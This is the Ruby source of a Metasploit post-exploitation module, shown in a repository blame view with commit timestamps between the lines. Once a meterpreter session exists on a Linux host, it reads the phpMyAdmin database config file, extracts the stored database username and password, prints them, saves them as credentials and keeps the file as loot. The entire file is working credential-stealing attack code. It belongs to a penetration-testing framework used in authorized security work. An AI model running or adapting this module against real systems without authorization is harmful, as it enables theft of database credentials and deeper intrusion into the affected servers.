Files
metasploit-gs/modules/post/linux/gather/phpmyadmin_credsteal.rb
T

72 lines
1.9 KiB
Ruby
Raw Normal View History

2018-08-19 23:40:19 +05:30
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
2018-08-20 16:57:09 +05:30
2018-08-19 23:40:19 +05:30
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
def initialize(info={})
super(update_info(info,
2018-08-29 11:45:08 +05:30
'Name' => "Phpmyadmin credentials stealer",
2018-08-20 16:57:09 +05:30
'Description' => %q{
2018-08-29 11:45:08 +05:30
This module gathers Phpmyadmin creds from target linux machine.
2018-08-19 23:40:19 +05:30
},
2018-08-20 16:57:09 +05:30
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['meterpreter'],
2018-08-29 11:45:08 +05:30
'Author' => [
2018-08-20 16:57:09 +05:30
'Chaitanya Haritash [bofheaded]',
2018-08-20 12:45:15 +05:30
'Dhiraj Mishra <dhiraj@notsosecure.com>'
2018-08-19 23:40:19 +05:30
]
))
end
def parse_creds(contents)
2018-09-07 11:13:09 -05:00
db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first
unless db_user && db_pass
print_error("Couldn't find PhpMyAdmin credentials")
return
end
2018-08-20 16:57:09 +05:30
print_good("User: #{db_user}")
print_good("Password: #{db_pass}")
print_status("Storing credentials...")
store_valid_credential(user: db_user, private: db_pass)
end
def run
2018-08-20 16:57:09 +05:30
print_line("\nPhpMyAdmin Creds Stealer!\n")
2018-08-19 23:40:19 +05:30
if session.platform.include?("windows")
2018-08-29 11:45:08 +05:30
print_error("This module is not compatible with windows")
2018-08-19 23:40:19 +05:30
return
end
conf_path = "/etc/phpmyadmin/config-db.php"
2018-08-29 11:45:08 +05:30
unless file_exist?(conf_path)
2018-08-20 16:57:09 +05:30
print_error("#{conf_path} doesn't exist on target")
2018-08-19 23:40:19 +05:30
return
end
print_good('PhpMyAdmin config found!')
res = read_file(conf_path)
2018-08-30 12:13:39 -05:00
unless res
print_error("You may not have permissions to read the file.")
return
end
2018-08-20 16:57:09 +05:30
print_good("Extracting creds")
parse_creds(res)
2018-09-07 08:13:10 -05:00
p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')
print_good("Config file located at #{p}")
2018-08-19 23:40:19 +05:30
end
end